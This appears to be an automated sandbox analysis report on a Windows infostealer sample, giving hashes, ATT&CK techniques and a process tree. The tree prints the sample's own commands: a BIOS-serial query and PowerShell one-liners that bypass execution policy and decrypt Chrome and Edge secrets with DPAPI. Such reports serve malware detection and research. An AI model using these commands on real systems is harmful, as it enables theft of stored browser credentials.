af950606b010bfeec797b5e0dc444ecb027f145fd7609d4195491527406ff4a6

Analysis

max time kernel
149s
max time network
136s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
01/07/2026, 04:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-06-30_6fa0510235be45eed66c0235dcd28caa_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Size 36.0MB
Sample260701-e2r2mags8s
SHA256 af950606b010bfeec797b5e0dc444ecb027f145fd7609d4195491527406ff4a6
MD5 6fa0510235be45eed66c0235dcd28caa
SHA1 f24f0f1b2fa2cf1f9d56c26f3ae3413047a46c4c
SHA512 1e8d7420a789bbf793ab9732c0c725a09947c73c5b33876de169db3a4fe02b5a328dfb7a0c36d9a26d95dbd3f8d3a89a6d2b0d5e115b323d8a4fa94a4581fc3b
SSDEEP 393216:d76L6otUitqtH7wHtXq2pt2jbOCacCFIK0fpP9HF4VW8yfSnVQx4urYsANulL7NY:d0LoCOn+2Ss4urYDNulLBiuPs
TLSH
T15F877B0373E60095E8B792388AA75103D773B8635731CADF315D06552FBBAE0AA7B724
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion execution spyware stealer

Malware Config

Signatures

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1620	powershell.exe
2076	powershell.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1620	powershell.exe
1620	powershell.exe
2076	powershell.exe
2076	powershell.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	628	WMIC.exe
Token: SeSecurityPrivilege	628	WMIC.exe
Token: SeTakeOwnershipPrivilege	628	WMIC.exe
Token: SeLoadDriverPrivilege	628	WMIC.exe
Token: SeSystemProfilePrivilege	628	WMIC.exe
Token: SeSystemtimePrivilege	628	WMIC.exe
Token: SeProfSingleProcessPrivilege	628	WMIC.exe
Token: SeIncBasePriorityPrivilege	628	WMIC.exe
Token: SeCreatePagefilePrivilege	628	WMIC.exe
Token: SeBackupPrivilege	628	WMIC.exe
Token: SeRestorePrivilege	628	WMIC.exe
Token: SeShutdownPrivilege	628	WMIC.exe
Token: SeDebugPrivilege	628	WMIC.exe
Token: SeSystemEnvironmentPrivilege	628	WMIC.exe
Token: SeRemoteShutdownPrivilege	628	WMIC.exe
Token: SeUndockPrivilege	628	WMIC.exe
Token: SeManageVolumePrivilege	628	WMIC.exe
Token: 33	628	WMIC.exe
Token: 34	628	WMIC.exe
Token: 35	628	WMIC.exe
Token: 36	628	WMIC.exe
Token: SeIncreaseQuotaPrivilege	628	WMIC.exe
Token: SeSecurityPrivilege	628	WMIC.exe
Token: SeTakeOwnershipPrivilege	628	WMIC.exe
Token: SeLoadDriverPrivilege	628	WMIC.exe
Token: SeSystemProfilePrivilege	628	WMIC.exe
Token: SeSystemtimePrivilege	628	WMIC.exe
Token: SeProfSingleProcessPrivilege	628	WMIC.exe
Token: SeIncBasePriorityPrivilege	628	WMIC.exe
Token: SeCreatePagefilePrivilege	628	WMIC.exe
Token: SeBackupPrivilege	628	WMIC.exe
Token: SeRestorePrivilege	628	WMIC.exe
Token: SeShutdownPrivilege	628	WMIC.exe
Token: SeDebugPrivilege	628	WMIC.exe
Token: SeSystemEnvironmentPrivilege	628	WMIC.exe
Token: SeRemoteShutdownPrivilege	628	WMIC.exe
Token: SeUndockPrivilege	628	WMIC.exe
Token: SeManageVolumePrivilege	628	WMIC.exe
Token: 33	628	WMIC.exe
Token: 34	628	WMIC.exe
Token: 35	628	WMIC.exe
Token: 36	628	WMIC.exe
Token: SeDebugPrivilege	1620	powershell.exe
Token: SeDebugPrivilege	2076	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4424 wrote to memory of 1900	4424	2026-06-30_6fa0510235be45eed66c0235dcd28caa_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	86
PID 1900 wrote to memory of 628	1900	cmd.exe	88
PID 4424 wrote to memory of 2332	4424	2026-06-30_6fa0510235be45eed66c0235dcd28caa_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	90
PID 2332 wrote to memory of 1620	2332	cmd.exe	92
PID 4424 wrote to memory of 2712	4424	2026-06-30_6fa0510235be45eed66c0235dcd28caa_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	93
PID 2712 wrote to memory of 2076	2712	cmd.exe	95

C:\Users\Admin\AppData\Local\Temp\2026-06-30_6fa0510235be45eed66c0235dcd28caa_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
"C:\Users\Admin\AppData\Local\Temp\2026-06-30_6fa0510235be45eed66c0235dcd28caa_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4424
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic bios get serialnumber"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1900
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic bios get serialnumber
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:628
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAeEyVI2rt7EGFPOEU69xq+hAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAALrQdKk21t9+lqXHpxxblU7pyL48zfxFXlE6ovJiz0u2AAAAAA6AAAAAAgAAIAAAANJ5lT1sJlYsy4o52DHLvYNcW+XmvmUTcaKzua83Z80TMAAAAOBZxhp413xg7tDoHtGj2E5NW4KK32yoeIsAKS/mu29vgH8LtFwWa0U1SOP+m47ySEAAAACwHlXennnii+dshp/8O5JXpiHouy2Tus36yy8aB4KVasd6xlJhQ7oJHAJh/xfTUAusg9Fl8oR6gQpfZxoiJjQz');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2332
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAeEyVI2rt7EGFPOEU69xq+hAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAALrQdKk21t9+lqXHpxxblU7pyL48zfxFXlE6ovJiz0u2AAAAAA6AAAAAAgAAIAAAANJ5lT1sJlYsy4o52DHLvYNcW+XmvmUTcaKzua83Z80TMAAAAOBZxhp413xg7tDoHtGj2E5NW4KK32yoeIsAKS/mu29vgH8LtFwWa0U1SOP+m47ySEAAAACwHlXennnii+dshp/8O5JXpiHouy2Tus36yy8aB4KVasd6xlJhQ7oJHAJh/xfTUAusg9Fl8oR6gQpfZxoiJjQz');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1620
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAeEyVI2rt7EGFPOEU69xq+hAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAHdyrXAXITHMTwsko9oeFhUxjU57Gd2LXQfqT7Z2A3H8AAAAADoAAAAACAAAgAAAAnKsDRP2U/z+Eh5JXjsgKUzx9TPNjiTJdBEQYVIbNfFMwAAAA7e2RQgASJB4Gwab3T7KcV0Bs/ixpOuHQIx4DcTHkawcxhua5hOb+RvE9i9TVc03jQAAAAIKVZMPwntfxvccPNjywPzDE099ceAu5I7EWjtBg6i9I8vvDVdtUOQJxSzzwGedQIaFjiLWD7cooi/jAGQqFhQA=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2712
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAeEyVI2rt7EGFPOEU69xq+hAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAHdyrXAXITHMTwsko9oeFhUxjU57Gd2LXQfqT7Z2A3H8AAAAADoAAAAACAAAgAAAAnKsDRP2U/z+Eh5JXjsgKUzx9TPNjiTJdBEQYVIbNfFMwAAAA7e2RQgASJB4Gwab3T7KcV0Bs/ixpOuHQIx4DcTHkawcxhua5hOb+RvE9i9TVc03jQAAAAIKVZMPwntfxvccPNjywPzDE099ceAu5I7EWjtBg6i9I8vvDVdtUOQJxSzzwGedQIaFjiLWD7cooi/jAGQqFhQA=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2076

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 3ae35c2828715a2f9a5531d334a0cfffc81396c2dc058ca42a9943f3cdc22e78
MD5 f48896adf9a23882050cdff97f610a7f
SHA1 4c5a610df62834d43f470cae7e851946530e3086
SHA512 16644246f2a35a186fcb5c2b6456ed6a16e8db65ad1383109e06547f9b1f9358f071c30cca541ca4cf7bae66cb534535e88f75f6296a4bfc6c7b22b0684a6ba9
TLSH
T14E51FD323275B1D8C9167F071E6819C053BF4355EAA4AF1CB29C221EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 3535e16c009be52518d303edebe2d26b24d1508d805840c7410ca2b01c8dcf61
MD5 32bddbff541f33d69f7eb6a0ecc1fa7f
SHA1 dff1f5353489d0d2cc1c6ec97d9eb5e5cd4c7cf8
SHA512 4e97fe04bd5d76ab0fc8a48518407c97c0300225aadb7550dc548d5ead92db778cf45504e726655407c32ca1313fc0c9184fd23bfb41f779fd0b8b1f51d78ce7
TLSH
T19A21A837B3CC8960CC86153A809DAC1136B693C7409ECE9F6FC4D214E0BF588CB711A0
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_mctmclvw.thg.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mctmclvw.thg.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1620-6-0x000002DFF11F0000-0x000002DFF1212000-memory.dmp

Download

memory/1620-9-0x000002DFF1870000-0x000002DFF18C0000-memory.dmp

Download

memory/1620-12-0x000002DFF1320000-0x000002DFF146E000-memory.dmp

Download

memory/2076-23-0x00000288B7A40000-0x00000288B7B8E000-memory.dmp

Download